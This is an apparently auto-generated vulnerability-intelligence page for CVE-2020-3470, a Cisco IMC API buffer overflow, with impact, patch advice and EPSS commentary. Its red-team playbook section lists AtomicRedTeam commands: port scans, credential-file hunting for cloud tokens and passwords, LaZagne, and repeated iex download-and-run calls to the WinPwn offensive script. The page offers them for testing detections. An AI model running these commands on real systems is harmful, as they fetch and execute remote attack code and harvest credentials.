CVE-2020-3470
Overview
This vulnerability is a buffer overflow caused by improper boundary checks on user-supplied input within the API subsystem of Cisco Integrated Management Controller (IMC). Specifically, the flaw exists in the handling of crafted HTTP requests processed by the API, where insufficient validation allows memory corruption. The affected component is the API subsystem of Cisco Unified Computing System (Standalone) running the IMC software, which fails to enforce input size constraints.
Vulnerability Description
Multiple vulnerabilities in the API subsystem of Cisco Integrated Management Controller (IMC) could allow an unauthenticated, remote attacker to execute arbitrary code with root privileges. The vulnerabilities are due to improper boundary checks for certain user-supplied input. An attacker could exploit these vulnerabilities by sending a crafted HTTP request to the API subsystem of an affected system. When this request is processed, an exploitable buffer overflow condition may occur. A successful exploit could allow the attacker to execute arbitrary code with root privileges on the underlying operating system (OS).
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with root privileges on the affected system without any user interaction or authentication. This allows full control over the underlying operating system, enabling data compromise, service disruption, or lateral movement within the network. The attack vector is network-based (AV:N), requires no privileges (PR:N), and no user interaction (UI:N), resulting in a critical severity score of 9.8.
Solution
Cisco has released security updates addressing these vulnerabilities in the Cisco Unified Computing System (Standalone) IMC software. Administrators should apply the patches detailed in Cisco Security Advisory cisco-sa-ucs-api-rce-UXwpeDHd available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucs-api-rce-UXwpeDHd. The advisory provides version-specific fixes and instructions. No alternative workarounds are recommended by Cisco.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the API subsystem of Cisco Integrated Management Controller (IMC) stems from improper boundary checks for user-supplied input, leading to potential buffer overflow conditions. This flaw allows unauthenticated remote attackers to send specially crafted HTTP requests that can trigger the overflow, ultimately permitting the execution of arbitrary code with root privileges on the underlying operating system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that could be exploited with minimal effort and without the need for authentication.
Attack vectors for this vulnerability are primarily centered around the API interface of the affected systems. An attacker could leverage tools to automate the crafting of malicious HTTP requests, targeting the API endpoints exposed by the IMC. Given that these requests do not require authentication, the attack surface is significantly broadened, allowing potential exploitation from any location on the internet. Once the crafted request is processed, the resulting buffer overflow can lead to arbitrary code execution, enabling the attacker to gain root access. This level of access can be catastrophic, as it allows for full control over the affected system, including the ability to manipulate sensitive data, install malware, or pivot to other systems within the network.
The real-world impact of such a vulnerability is profound, particularly for organizations that rely on Cisco's management solutions for their infrastructure. Successful exploitation could lead to significant business risks, including data breaches, service disruptions, and reputational damage. Organizations may face regulatory scrutiny and financial penalties if sensitive data is compromised. The potential for lateral movement within an organization's network further amplifies the threat, as attackers could exploit the initial foothold to access critical systems and sensitive information, leading to more extensive breaches.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected systems is crucial, as Cisco has released updates to address these vulnerabilities. Network segmentation can help limit the exposure of the API subsystem to untrusted networks, reducing the likelihood of exploitation. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious activity related to malformed HTTP requests. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their configurations and ensure that their defenses are robust against such exploitation attempts.
In conclusion, the vulnerabilities present in the API subsystem of Cisco Integrated Management Controller pose a significant threat to organizations utilizing these systems. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their infrastructure against these critical vulnerabilities and reduce the associated risks.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-3470, rising by over 40% to a current level placing it near the 90th percentile. This upward adjustment reflects growing confidence in the likelihood of exploitation attempts against the Cisco Integrated Management Controller’s vulnerable API subsystem. Although no new exploit code or active campaigns have been identified by our sensors, the rising EPSS score signals heightened attacker interest or improved exploitability conditions. For defenders, this shift underscores an elevated risk posture, suggesting that adversaries may be preparing or refining methods to leverage this critical buffer overflow vulnerability. Consequently, the threat level associated with CVE-2020-3470 should be considered more urgent, warranting increased vigilance despite the absence of confirmed exploitation events in the wild.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Enterprise Nfv Infrastructure Software | All |
cpe:2.3:a:cisco:enterprise_nfv_infrastructure_software:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Cisco | Integrated Management Controller | All |
cpe:2.3:a:cisco:integrated_management_controller:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3470 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucs-api-rce-UXwpeDHd |